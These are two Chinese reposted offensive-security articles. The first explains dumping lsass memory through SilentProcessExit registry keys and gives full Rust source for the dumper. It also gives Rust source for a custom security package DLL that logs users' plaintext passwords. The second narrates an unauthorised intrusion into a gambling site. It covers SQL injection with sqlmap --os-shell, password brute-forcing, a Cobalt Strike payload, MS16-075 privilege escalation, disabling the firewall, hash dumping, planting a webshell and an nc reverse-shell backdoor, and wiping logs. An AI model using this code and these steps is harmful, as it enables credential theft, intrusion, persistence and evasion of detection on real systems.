werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。 优点:系统正常行为 缺点:需要写注册表 该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力: (1)被监控进程调用 ExitProcess() 终止自身;(2)其他进程调用 TerminateProcess() 结束被监控进程。也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作: - 启动一个监控进程 - 显示一个弹窗 - 创建一个Dump文件 但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为: 添加此子键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe 名称 类型 数据 DumpType REG_DWORD 完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2) LocalDumpFolder REG_SZ (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp ReportingMode(REG_DWORD) REG_DWORD a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程; b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件; c)NOTIFICATION (0x4) – 显示弹窗。 添加此子键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe 名称 类型 数据 GlobalFlag REG_DWORD 0x200 另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。 这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。 关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下: typedef enum _MINIDUMP_TYPE { MiniDumpNormal, MiniDumpWithDataSegs, MiniDumpWithFullMemory, MiniDumpWithHandleData, MiniDumpFilterMemory, MiniDumpScanMemory, MiniDumpWithUnloadedModules, MiniDumpWithIndirectlyReferencedMemory, MiniDumpFilterModulePaths, MiniDumpWithProcessThreadData, MiniDumpWithPrivateReadWriteMemory, MiniDumpWithoutOptionalData, MiniDumpWithFullMemoryInfo, MiniDumpWithThreadInfo, MiniDumpWithCodeSegs, MiniDumpWithoutAuxiliaryState, MiniDumpWithFullAuxiliaryState, MiniDumpWithPrivateWriteCopyMemory, MiniDumpIgnoreInaccessibleMemory, MiniDumpWithTokenInformation, MiniDumpWithModuleHeaders, MiniDumpFilterTriage, MiniDumpWithAvxXStateContext, MiniDumpWithIptTrace, MiniDumpScanInaccessiblePartialPages, MiniDumpValidTypeFlags } MINIDUMP_TYPE; 下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下: NTSTATUS (NTAPI * RtlReportSilentProcessExit )( _In_ HANDLE ProcessHandle, _In_ NTSTATUS ExitStatus ); 所以最终的流程就是类似如图 作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit。 这里使用的是第一种方式来实现的。 代码 https://github.com/haoami/RustHashDump use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus}; use std::ptr; use clap::{App,Arg}; use log::{error}; use windows_sys::{Win32::{Foundation::{ CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS, }, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR}; use windows_sys::Win32::Storage::FileSystem::{ CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, }; use windows_sys::Win32::System::Diagnostics::Debug::{ MiniDumpWithFullMemory,MiniDumpWriteDump }; use windows_sys::Win32::System::Diagnostics::ToolHelp::{ CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS, }; use windows_sys::Win32::System::SystemServices::GENERIC_ALL; use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS}; type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS; fn getPrivilege(handle : HANDLE){ unsafe{ let mut h_token: HANDLE = HANDLE::default(); let mut h_token_ptr: *mut HANDLE = &mut h_token; let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [LUID_AND_ATTRIBUTES { Luid: LUID { LowPart: 0, HighPart: 0, }, Attributes: SE_PRIVILEGE_ENABLED, }], }; // 打开当前进程的访问令牌 let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr); if token != 0 { let systemname = ptr::null_mut(); if LookupPrivilegeValueA( systemname, b"SeDebugPrivilege\0".as_ptr(), &mut tkp.Privileges[0].Luid) != 0 { tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // println!("{:?}",tkp.Privileges[0].Attributes); // 提升当前进程的 SeDebugPrivilege 权限 if AdjustTokenPrivileges( h_token, 0, &tkp as *const TOKEN_PRIVILEGES, 0, ptr::null_mut(), ptr::null_mut()) != 0 { println!("Token privileges adjusted successfully"); } else { let last_error = GetLastError() ; println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error); } } else { let last_error = GetLastError() ; println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error); } // 关闭访问令牌句柄 CloseHandle(h_token); } else { let last_error = GetLastError() ; println!("OpenProcessToken failed with error: STATUS({:?})", last_error); } } } fn getPid(ProcessName : &str) -> u32{ unsafe{ let mut h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if h_snapshot == INVALID_HANDLE_VALUE { println!("Failed to call CreateToolhelp32Snapshot"); } let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>() ; process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32; if Process32First(h_snapshot, &mut process_entry) == 0 { println!("Process32First error"); } loop { let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes(); let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned(); if extfile.starts_with(ProcessName){ break; } if Process32Next(h_snapshot, &mut process_entry) == 0 { println!("Failed to call Process32Next"); break; } } process_entry.th32ProcessID } } fn setRegisterRegs() { unsafe{ let key = HKEY_LOCAL_MACHINE; let IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe"; let SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe"; let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>(); let mut hKey = HKEY::default(); let mut hSubKey = HKEY::default(); let ret = RegCreateKeyExW( key, OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(), 0, null_mut(), 0, KEY_ALL_ACCESS, ptr::null_mut(), &mut hSubKey, ptr::null_mut()); if ret != 0 { println!("{:?}",ret); println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n"); } let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ; let DumpTypekey = CString::new("DumpType").unwrap(); let ret = RegSetValueExA( hSubKey, DumpTypekey.as_ptr() as *const u8, 0, REG_DWORD, DumpTypevalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe ERROR\n"); } let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ; let ReportingModekey = CString::new("ReportingMode").unwrap(); let ret = RegSetValueExA( hSubKey, ReportingModekey.as_ptr() as *const u8, 0, REG_DWORD, ReportingModevalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n"); } let ReportingModevalue = "C:\\temp" ; let ReportingModekey = CString::new("LocalDumpFolder").unwrap(); let ret = RegSetValueExA( hSubKey, ReportingModekey.as_ptr() as *const u8, 0, REG_SZ, ReportingModevalue.as_ptr(), ReportingModevalue.len() as u32 ); if ret != 0{ println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n"); } let mut hSubKey = HKEY::default(); let ret = RegCreateKeyExW( key, OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(), 0, null_mut(), 0, KEY_ALL_ACCESS, ptr::null_mut(), &mut hSubKey, ptr::null_mut()); if ret != 0 { println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY); } let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ; let GlobalFlagkey = CString::new("GlobalFlag").unwrap(); let ret = RegSetValueExA( hSubKey, GlobalFlagkey.as_ptr() as *const u8, 0, REG_DWORD, GlobalFlagvalue, size_of::<u32>() as u32 ); if ret != 0{ println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n"); } println!("SetRegistryReg successful!"); } } fn main() { let matches = App::new("SysWhispers3 - SysWhispers on steroids") .arg(Arg::with_name("DumpFileName") .short("f") .long("DumpFileName") .takes_value(true) .help("DumpFileName Path like C:\\temp.dmp")).get_matches(); let mut out_file = ""; if matches.is_present("DumpFileName") { out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error"); }else { out_file = "lsass.dmp"; } // getProcess(out_file); getPrivilege(unsafe { GetCurrentProcess() }); setRegisterRegs(); let lsassPid = getPid("lsass.exe"); let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) }; if process_handle == 0 { println!("Fail to open the Lsassprocess "); } unsafe{ let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect(); let h_nt_mod = GetModuleHandleW(ntdll_module_name.as_ptr()); if h_nt_mod ==0 { println!(" - 获取NTDLL模块句柄失败"); } let function_name = CString::new("RtlReportSilentProcessExit").unwrap(); let FnRtlreportSilentProcessExit = GetProcAddress( h_nt_mod, function_name.as_ptr() as *const u8).expect("") ; let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit); let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ; let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid); if h_lsass_proc == 0 { println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError()); } println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32); let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0); if ntstatus == 0{ println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n"); }else { println!("FnRtlreportSilentProcessExit error!"); } } } 添加自定义的SSPSSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。 SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。 官方解释 在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。 (1) 使用MemSSP对lsass进行patch 优点: 不需要重启服务器Lsass进程中不会出现可疑的DLL 缺点:需要调用WriteProcessMemory对lsass进行操作,可能会被标记(2) 使用AddSecurityPackage加载SSP 优点: 可以绕过部分杀软对lsass的监控可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况不需要重启服务器 缺点:需要写注册表需要将SSP的dll拷贝到system32下Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL(3) 通过RPC加载SSP 优点: 可以绕过杀软对lsass的监控可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况不需要重启服务器不需要写注册表 缺点:因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization 使用AddSecurityPackage加载SSP完整代码在 https://github.com/haoami/RustSSPdumpHash lib如下 use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File}; use windows::{ Win32::{ Security::{ Authentication::Identity::{ SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW }, Foundation::{NTSTATUS, STATUS_SUCCESS, PSID} }, core::PWSTR }; use windows::core::Result; use windows::core::Error; pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>; #[repr(C)] pub struct SECPKG_FUNCTION_TABLE { pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE, pub LogonUserA: PLSA_AP_LOGON_USER, pub CallPackage: PLSA_AP_CALL_PACKAGE, pub LogonTerminated: PLSA_AP_LOGON_TERMINATED, pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE, pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH, pub LogonUserExA: PLSA_AP_LOGON_USER_EX, pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2, pub Initialize: SpInitializeFn, pub Shutdown: SpShutdownFn, pub GetInfo: SpGetInfoFn, pub AcceptCredentials: SpAcceptCredentialsFn, pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn, pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn, pub FreeCredentialsHandle: SpFreeCredentialsHandleFn, pub SaveCredentials: SpSaveCredentialsFn, pub GetCredentials: SpGetCredentialsFn, pub DeleteCredentials: SpDeleteCredentialsFn, pub InitLsaModeContext: SpInitLsaModeContextFn, pub AcceptLsaModeContext: SpAcceptLsaModeContextFn, pub DeleteContext: SpDeleteContextFn, pub ApplyControlToken: SpApplyControlTokenFn, pub GetUserInfo: SpGetUserInfoFn, pub GetExtendedInformation: SpGetExtendedInformationFn, pub QueryContextAttributesA: SpQueryContextAttributesFn, pub AddCredentialsA: SpAddCredentialsFn, pub SetExtendedInformation: SpSetExtendedInformationFn, pub SetContextAttributesA: SpSetContextAttributesFn, pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn, pub ChangeAccountPasswordA: SpChangeAccountPasswordFn, pub QueryMetaData: SpQueryMetaDataFn, pub ExchangeMetaData: SpExchangeMetaDataFn, pub GetCredUIContext: SpGetCredUIContextFn, pub UpdateCredentials: SpUpdateCredentialsFn, pub ValidateTargetInfo: SpValidateTargetInfoFn, pub PostLogonUser: LSA_AP_POST_LOGON_USER, pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn, pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn, pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn, pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3, pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE, pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE, pub ExtractTargetInfo: SpExtractTargetInfoFn, } const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{ InitializePackage: None , LogonUserA: None , CallPackage: None, LogonTerminated: None, CallPackageUntrusted: None, CallPackagePassthrough: None, LogonUserExA: None, LogonUserEx2: None, Initialize: Some(_SpInitialize), Shutdown: Some(_SpShutDown), GetInfo: Some(_SpGetInfo), AcceptCredentials: Some(_SpAcceptCredentials), AcquireCredentialsHandleA: None, QueryCredentialsAttributesA: None, FreeCredentialsHandle: None, SaveCredentials: None, GetCredentials: None, DeleteCredentials: None, InitLsaModeContext: None, AcceptLsaModeContext: None, DeleteContext: None, ApplyControlToken: None, GetUserInfo: None, GetExtendedInformation: None, QueryContextAttributesA: None, AddCredentialsA: None, SetExtendedInformation: None, SetContextAttributesA: None, SetCredentialsAttributesA: None, ChangeAccountPasswordA: None, QueryMetaData: None, ExchangeMetaData: None, GetCredUIContext: None, UpdateCredentials: None, ValidateTargetInfo: None, PostLogonUser: None, GetRemoteCredGuardLogonBuffer: None, GetRemoteCredGuardSupplementalCreds: None, GetTbalSupplementalCreds: None, LogonUserEx3: None, PreLogonUserSurrogate: None, PostLogonUserSurrogate: None, ExtractTargetInfo: None, }; #[no_mangle] pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS { (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION; (*packageinfo).wVersion = 1; (*packageinfo).wRPCID = 0; (*packageinfo).cbMaxToken = 0; let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr(); let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr(); (*packageinfo).Name = name as *mut u16; (*packageinfo).Comment = Comment as *mut u16; STATUS_SUCCESS } #[no_mangle] pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS { STATUS_SUCCESS } #[no_mangle] pub unsafe extern "system" fn _SpInitialize( packageid: usize, parameters: *const SECPKG_PARAMETERS, functiontable: *const LSA_SECPKG_FUNCTION_TABLE, ) -> NTSTATUS { STATUS_SUCCESS } pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String { let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) }; let os_string = OsString::from_wide(slice); os_string.into_string().unwrap() } #[no_mangle] pub unsafe extern "system" fn _SpAcceptCredentials( logontype: SECURITY_LOGON_TYPE, accountname: *const LSA_UNICODE_STRING, primarycredentials: *const SECPKG_PRIMARY_CRED, supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED, ) -> NTSTATUS { let mut logfile = File::create("C:\\temp.log").expect(""); logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed"); writeln!( logfile, "[+] Authentication Id : {}:{} ({:08x}:{:08x})", (*primarycredentials).LogonId.HighPart, (*primarycredentials).LogonId.LowPart, (*primarycredentials).LogonId.HighPart, (*primarycredentials).LogonId.LowPart, ).unwrap(); let logon_type_str = match logontype { SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType", SECURITY_LOGON_TYPE::Interactive => "Interactive", SECURITY_LOGON_TYPE::Network => "Network", SECURITY_LOGON_TYPE::Batch => "Batch", SECURITY_LOGON_TYPE::Service => "Service", SECURITY_LOGON_TYPE::Proxy => "Proxy", SECURITY_LOGON_TYPE::Unlock => "Unlock", SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext", SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials", SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive", SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive", SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive", SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock", _ => "Unknown !" }; writeln!(logfile, "[+] Logon Type : {}", logon_type_str).unwrap(); writeln!(logfile, "[+] User Name : {:?}", accountname); writeln!(logfile, "[+] * Domain : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName)); writeln!(logfile, "[+] * Logon Server : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer)); writeln!(logfile, "[+] * SID : {:?}", convert_sid_to_string((*primarycredentials).UserSid)); writeln!(logfile, "[+] * UserName : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName)); writeln!(logfile, "[+] * Password : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password)); drop(logfile); STATUS_SUCCESS } #[no_mangle] pub fn convert_sid_to_string(sid: PSID) -> Result<String> { let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut()); let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) }; if result.is_ok() { let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) }; Ok(sid_string) } else { Err(Error::from_win32()) } } #[no_mangle] pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String { let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count(); let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len); String::from_utf16_lossy(slice) } #[no_mangle] pub unsafe extern "system" fn SpLsaModeInitialize( LsaVersion: u32, PackageVersion: *mut u32, ppTables: *mut *const SECPKG_FUNCTION_TABLE, pcTables: *mut u32, ) -> NTSTATUS { *PackageVersion = SECPKG_INTERFACE_VERSION ; *ppTables = &SecPkgFunctionTable; *pcTables = 1 as u32; STATUS_SUCCESS } 参考文章 https://lengjibo.github.io/lassdump/ https://xz.aliyun.com/t/12157#toc-10 https://www.crisprx.top/archives/469 https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE https://www.freebuf.com/sectool/226170.html https://xz.aliyun.com/t/12157#toc-4 https://cloud.tencent.com/developer/article/2103172 https://mrwu.red/web/2000.html https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp https://xz.aliyun.com/t/8323 https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/ https://blog.xpnsec.com/exploring-mimikatz-part-2/ https://www.wangan.com/p/11v72bf602eabeb6 https://github.com/haoami/RustSSPdumpHash 转载于原文链接地址:https://forum.butian.net/share/2434
  13. 一.前言最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个 渗透惯用套路一把梭 信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹 二.信息收集浏览器访问主页初步发现 系统:Windows server中间件 IIS7.5语言:ASPX 端口扫描 nmap -sV -T4 -p- 11x.xx.xxx.xx开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败 1433:数据库 mssql 还开了 139、445但是被过滤了,不知道是不是有防火墙,后面再看 敏感目录扫描 先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言 python dirsearch.py -u http://11x.xx.xxx.xx -e aspx再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典 /m/是用户注册页面,可能有用,先记着 /test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧 查IP 北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的 信息整理 估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间 三.漏洞探测重点先放在前面找到的 81 端口,也就是网站的后台管理页面 没有验证码,用户名 / 密码随便写个 admin / admin,抓包 用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的 兵分两路 一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间 python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行 爆出密码 888999,弱口令,永远滴神! 成功登录后台 只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充 赌博沾不得呀,这个老哥一天输了 2800 在后台翻了半天没找到上传点,先放着 回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了 跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息 跑表名 python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的 python sqlmap.py -r qipai.txt --is-dba 是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了 python sqlmap.py -r qipai.txt --os-shell用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活 当前用户权限很小,只是个 mssql 数据库权限 Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008 Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线 net user查看用户 tasklist查看进程,应该没有装杀软 net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤 关闭防火墙,额还没提权 四.提权/wei权前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075) 执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为 进入文件管理,能看到前面信息收集时的 test.html 文件 netstat -ano看一下端口开放情况,3389 没有开 手动开启一下 可以访问远程桌面了 cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听 注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国 msf 开启监听 在 cs 上运行上传的马 msf 成功拿到 shell,是继承的 system 权限 查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的 ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希 到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了 成功登录远程桌面 留两个后门,一个webshell,一个开机自启的nc用来反弹shell 五.清理痕迹,撤退meterpreter 的 clearv命令一键清除 或者手动删除 Windows 日志 六.总结七.实验推荐利用sqlmap辅助手工注入 https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia 通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。 转载于原文链接: https://www.freebuf.com/articles/network/250744.html
